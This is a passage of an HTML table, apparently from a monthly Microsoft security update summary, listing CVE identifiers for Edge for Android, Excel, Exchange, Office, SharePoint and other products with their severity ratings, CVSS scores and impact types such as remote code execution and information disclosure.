  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
